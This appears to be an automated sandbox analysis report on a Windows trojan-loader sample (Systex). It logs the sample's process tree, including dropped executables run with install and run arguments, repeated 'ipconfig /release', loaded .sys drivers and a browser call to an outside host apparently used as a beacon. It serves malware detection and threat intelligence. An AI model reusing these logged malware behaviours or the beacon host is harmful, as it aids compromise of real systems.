Analysis
- max time kernel
149s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
27/10/2026, 03:59
General
- Target 2026-10-26_e662e2ad122a07ed3f15b8957d1a4a72_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
- Size 365KB
- Sample261027-ekdsnscf52
- SHA256 db093b70eb5b7e0fca1282e4cef82fc2acbcfea1d07f5a5f097d22953c41da83
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 35 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-26_e662e2ad122a07ed3f15b8957d1a4a72_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-26_e662e2ad122a07ed3f15b8957d1a4a72_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\vtnigaysqlidbvtn.exeC:\Temp\vtnigaysqlidbvtn.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gaysqlidbv.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\gaysqlidbv.exeC:\Temp\gaysqlidbv.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gaysqlidbv.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_gaysqlidbv.exeC:\Temp\i_gaysqlidbv.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pnifaxsqki.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pnifaxsqki.exeC:\Temp\pnifaxsqki.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pnifaxsqki.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_pnifaxsqki.exeC:\Temp\i_pnifaxsqki.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xspkicausn.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\xspkicausn.exeC:\Temp\xspkicausn.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xspkicausn.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_xspkicausn.exeC:\Temp\i_xspkicausn.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwupmhezx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ecwupmhezx.exeC:\Temp\ecwupmhezx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwupmhezx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ecwupmhezx.exeC:\Temp\i_ecwupmhezx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\cwuomhezxr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\cwuomhezxr.exeC:\Temp\cwuomhezxr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_cwuomhezxr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_cwuomhezxr.exeC:\Temp\i_cwuomhezxr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\geywrojhbz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\geywrojhbz.exeC:\Temp\geywrojhbz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_geywrojhbz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_geywrojhbz.exeC:\Temp\i_geywrojhbz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lgeywqljdb.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lgeywqljdb.exeC:\Temp\lgeywqljdb.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lgeywqljdb.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_lgeywqljdb.exeC:\Temp\i_lgeywqljdb.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ytqlidbvtn.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ytqlidbvtn.exeC:\Temp\ytqlidbvtn.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ytqlidbvtn.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ytqlidbvtn.exeC:\Temp\i_ytqlidbvtn.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vtnlgdytnl.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vtnlgdytnl.exeC:\Temp\vtnlgdytnl.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vtnlgdytnl.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vtnlgdytnl.exeC:\Temp\i_vtnlgdytnl.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qkidavtnlf.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qkidavtnlf.exeC:\Temp\qkidavtnlf.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qkidavtnlf.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qkidavtnlf.exeC:\Temp\i_qkidavtnlf.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\faxspkicau.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\faxspkicau.exeC:\Temp\faxspkicau.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_faxspkicau.exe ups_ins3⤵
-
C:\Temp\i_faxspkicau.exeC:\Temp\i_faxspkicau.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ausmkfcxup.exe ups_run3⤵
-
C:\Temp\ausmkfcxup.exeC:\Temp\ausmkfcxup.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ausmkfcxup.exe ups_ins3⤵
-
C:\Temp\i_ausmkfcxup.exeC:\Temp\i_ausmkfcxup.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zxrpjhczus.exe ups_run3⤵
-
C:\Temp\zxrpjhczus.exeC:\Temp\zxrpjhczus.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zxrpjhczus.exe ups_ins3⤵
-
C:\Temp\i_zxrpjhczus.exeC:\Temp\i_zxrpjhczus.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rmjebwuomh.exe ups_run3⤵
-
C:\Temp\rmjebwuomh.exeC:\Temp\rmjebwuomh.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rmjebwuomh.exe ups_ins3⤵
-
C:\Temp\i_rmjebwuomh.exeC:\Temp\i_rmjebwuomh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ljewtomgey.exe ups_run3⤵
-
C:\Temp\ljewtomgey.exeC:\Temp\ljewtomgey.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ljewtomgey.exe ups_ins3⤵
-
C:\Temp\i_ljewtomgey.exeC:\Temp\i_ljewtomgey.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\trljdbvtol.exe ups_run3⤵
-
C:\Temp\trljdbvtol.exeC:\Temp\trljdbvtol.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_trljdbvtol.exe ups_ins3⤵
-
C:\Temp\i_trljdbvtol.exeC:\Temp\i_trljdbvtol.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\oigaysqlid.exe ups_run3⤵
-
C:\Temp\oigaysqlid.exeC:\Temp\oigaysqlid.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_oigaysqlid.exe ups_ins3⤵
-
C:\Temp\i_oigaysqlid.exeC:\Temp\i_oigaysqlid.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nlfdxvqnig.exe ups_run3⤵
-
C:\Temp\nlfdxvqnig.exeC:\Temp\nlfdxvqnig.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nlfdxvqnig.exe ups_ins3⤵
-
C:\Temp\i_nlfdxvqnig.exeC:\Temp\i_nlfdxvqnig.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\causnkfcxv.exe ups_run3⤵
-
C:\Temp\causnkfcxv.exeC:\Temp\causnkfcxv.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_causnkfcxv.exe ups_ins3⤵
-
C:\Temp\i_causnkfcxv.exeC:\Temp\i_causnkfcxv.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4836 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\vtnigaysqlidbvtn.sysC:\Temp\vtnigaysqlidbvtn.sys1⤵
- Executes dropped EXE
-
C:\Temp\avsnlfdxvp.sysC:\Temp\avsnlfdxvp.sys1⤵
- Executes dropped EXE
-
C:\Temp\icxvpnhfax.sysC:\Temp\icxvpnhfax.sys1⤵
- Executes dropped EXE
-
C:\Temp\xrpkhcausm.sysC:\Temp\xrpkhcausm.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhczurmkec.sysC:\Temp\jhczurmkec.sys1⤵
- Executes dropped EXE
-
C:\Temp\rmjebwuomg.sysC:\Temp\rmjebwuomg.sys1⤵
- Executes dropped EXE
-
C:\Temp\wqojgbytrl.sysC:\Temp\wqojgbytrl.sys1⤵
- Executes dropped EXE
-
C:\Temp\olgeywqoig.sysC:\Temp\olgeywqoig.sys1⤵
- Executes dropped EXE
-
C:\Temp\gaytqljdbv.sysC:\Temp\gaytqljdbv.sys1⤵
- Executes dropped EXE
-
C:\Temp\ysqkicavsn.sysC:\Temp\ysqkicavsn.sys1⤵
- Executes dropped EXE
-
C:\Temp\nkfdxvpnhf.sysC:\Temp\nkfdxvpnhf.sys1⤵
- Executes dropped EXE
-
C:\Temp\pkhcausmkf.sysC:\Temp\pkhcausmkf.sys1⤵
-
C:\Temp\kecxupmhfz.sysC:\Temp\kecxupmhfz.sys1⤵
-
C:\Temp\cwrpjhbztr.sysC:\Temp\cwrpjhbztr.sys1⤵
-
C:\Temp\trljdbwtom.sysC:\Temp\trljdbwtom.sys1⤵
-
C:\Temp\wqojgbztrl.sysC:\Temp\wqojgbztrl.sys1⤵
-
C:\Temp\dbvtolgdyw.sysC:\Temp\dbvtolgdyw.sys1⤵
-
C:\Temp\ysqlidbvtn.sysC:\Temp\ysqlidbvtn.sys1⤵
-
C:\Temp\nifaxsqkic.sysC:\Temp\nifaxsqkic.sys1⤵
-
C:\Temp\qkiusnkfcx.sysC:\Temp\qkiusnkfcx.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
avsnlfdxvp.sys
cwuomhezxr.exe
ecwupmhezx.exe
gaysqlidbv.exe
geywrojhbz.exe
i_cwuomhezxr.exe
i_ecwupmhezx.exe
i_gaysqlidbv.exe
i_geywrojhbz.exe
i_lgeywqljdb.exe
i_pnifaxsqki.exe
i_xspkicausn.exe
icxvpnhfax.sys
jhczurmkec.sys
lgeywqljdb.exe
olgeywqoig.sys
pnifaxsqki.exe
rmjebwuomg.sys
vtnigaysqlidbvtn.exe
vtnigaysqlidbvtn.sys
wqojgbytrl.sys
xrpkhcausm.sys
xspkicausn.exe
ytqlidbvtn.exe
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
suggestions[1].en-US
memory/204-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/544-76-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1304-148-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1356-139-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1872-157-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1904-135-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1904-140-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3040-149-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3040-144-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3288-62-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3804-123-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3888-131-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4256-33-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4272-166-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4320-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4336-21-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4444-127-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4640-162-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4868-100-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5160-153-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5160-158-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5256-106-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6004-88-0x0000000000010000-0x00000000000AB000-memory.dmp